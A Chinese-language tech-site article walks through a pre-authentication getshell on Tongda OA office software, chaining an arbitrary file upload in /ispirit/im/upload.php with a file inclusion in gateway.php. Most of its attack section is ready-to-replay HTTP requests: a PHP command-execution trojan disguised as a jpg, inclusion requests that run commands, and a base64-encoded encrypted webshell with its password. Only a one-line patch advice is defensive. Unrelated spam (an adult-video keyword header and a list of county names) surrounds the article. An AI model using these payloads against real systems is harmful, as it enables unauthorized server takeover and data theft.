中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析

發布時間:2022-01-15 10:18:53 來源:億速云 閱讀:1219 作者:柒染 欄目:安全技術

今天就跟大家聊聊有關通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

一、漏洞介紹

通達OA介紹:

通達OA(Office Anywhere網絡智能辦公系統)是由北京通達信科科技有限公司自主研發的協同辦公自動化軟件,北京通達信科科技有限公司是一支以協同管理軟件研發與實施、服務與咨詢為主營業務的高科技團隊,是國內協同管理軟件行業里唯一一家央企單位,中國協同管理軟件的領軍企業。

通達OA為各行業不同規模的眾多用戶提供信息化管理能力,包括流程審批、行政辦公、日常事務、數據統計分析、即時通訊、移動辦公等,幫助廣大用戶降低溝通和管理成本,提升生產和決策效率。該系統采用領先的B/S(瀏覽器/服務器)操作方式,使得網絡辦公不受地域限。通達Office Anywhere采用基于WEB的企業計算,主HTTP服務器采用了世界上最先進的Apache服務器,性能穩定可靠。數據存取集中控制,避免了數據泄漏的可能。提供數據備份工具,保護系統數據安全。多級的權限控制,完善的密碼驗證與登錄驗證機制更加強了系統安全性。

漏洞影響的版本有:

V11版、2017版、2016版、2015版、2013增強版、2013版。

備注:

無需登錄,前臺即可實現漏洞利用

2013版:

文件上傳漏洞路徑:/ispirit/im/upload.php

文件包含漏洞路徑:/ispirit/interface/gateway.php

2017版:

文件上傳漏洞路徑:/ispirit/im/upload.php

文件包含漏洞路徑:/mac/gateway.php

漏洞環境:

靶機(Windows server 2008 R2)IP:172.16.0.45

通達OA:V 11.3版本

二、環境搭建

(1)下載通達OA V11.3版本以后,點擊運行TDOA11.3的應用程序運行文件

通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析

(2)確保80端口不被占用的情況下,將應用搭建在80端口,然后點擊下一步

通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析

(3)配置完成

通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析

(4)查看搭建的結果

通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析

(5)賬戶為admin,密碼為空,登陸到后端系統

通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析

三、漏洞復現

3.1 任意命令執行

(1)前臺任意文件上傳漏洞:無需登錄,抓取任意數據包,修改數據包進行重放,上傳后綴為jpg的木馬文件

POST /ispirit/im/upload.php HTTP/1.1Host: 172.16.0.45Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh2YB4pV8McGBAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5Cookie: PHPSESSID=123Connection: closeContent-Length: 660------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="UPLOAD_MODE"2------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="P"123------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="DEST_UID"1------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="ATTACHMENT"; filename="jpg"Content-Type: image/jpeg<?php$command=$_POST['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>------WebKitFormBoundarypyfBh2YB4pV8McGB--

通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析

(2)查看運行結果

通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析

(3)前臺文件包含漏洞:修改數據包,包含前面上傳的jpg木馬文件,即可實現執行任意命令

此處執行命令“net user”

POST /ispirit/interface/gateway.php HTTP/1.1Host: 172.16.0.45Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 71json={"url":"/general/../../attach/im/2012/820434636.jpg"}&cmd=net user

通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析

(4)前臺文件包含漏洞:修改數據包,包含前面上傳的jpg木馬文件,即可實現執行任意命令

此處執行命令“ipconfig”

POST /ispirit/interface/gateway.php HTTP/1.1Host: 172.16.0.45Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 73json={"url":"/general/../../attach/im/2012/820434636.jpg"}&cmd=ipconfig

通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析

3.2 getshell

(1)前臺任意文件上傳漏洞:抓取任意數據包,修改數據包進行重放,上傳后綴為jpg的木馬文件(木馬文件執行寫入文件操作)

POST /ispirit/im/upload.php HTTP/1.1Host: 172.16.0.45Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh2YB4pV8McGBAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5Cookie: PHPSESSID=123Connection: closeContent-Length: 1393------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="UPLOAD_MODE"2------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="P"123------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="DEST_UID"1------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="ATTACHMENT"; filename="jpg"Content-Type: image/jpeg<?php$fp = fopen('shell.php', 'w');$a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh2bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC  ?4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");
fwrite($fp, $a);fclose($fp);?>------WebKitFormBoundarypyfBh2YB4pV8McGB--

通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析

(2)查看運行結果

通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析(3)查看/webroot/ispirit/interface/目錄下的文件信息

通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析(4)前臺文件包含漏洞:修改數據包,包含前面上傳的jpg木馬文件,會在文件包含的根目錄下生成一個 shell.php 文件

POST /ispirit/interface/gateway.php HTTP/1.1Host: 172.16.0.45Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 73json={"url":"/general/../../attach/im/2012/213131861.jpg"}&cmd=ipconfig

通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析

(5)查看文件包含漏洞的執行結果

通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析

(6)使用冰蝎進行連接:http://172.16.0.45/ispirit/interface/shell.php

密碼為:pass

PS:此處用蟻劍和菜刀無法進行連接

通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析

四、加固建議

建議使用受影響版本的通達OA用戶登錄通達OA官網,獲取最新補丁。請根據當前OA版本選擇所對應的程序文件,運行前請先做好備份。

看完上述內容,你們對通達OA前臺任意文件上傳漏洞及文件包含漏洞導致getshell的示例分析有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

东兰县| 石河子市| 潍坊市| 锦州市| 南乐县| 江陵县| 文成县| 娱乐| 昭通市| 嵊泗县| 志丹县| 濮阳市| 伽师县| 定远县| 虞城县| 白银市| 湖北省| 恩平市| 房产| 会昌县| 团风县| 孟津县| 佛冈县| 平邑县| 荥阳市| 宁安市| 元氏县| 汶川县| 稻城县| 瑞昌市| 香河县| 延长县| 监利县| 威宁| 渝北区| 平度市| 北京市| 长宁县| 明水县| 壤塘县| 金平|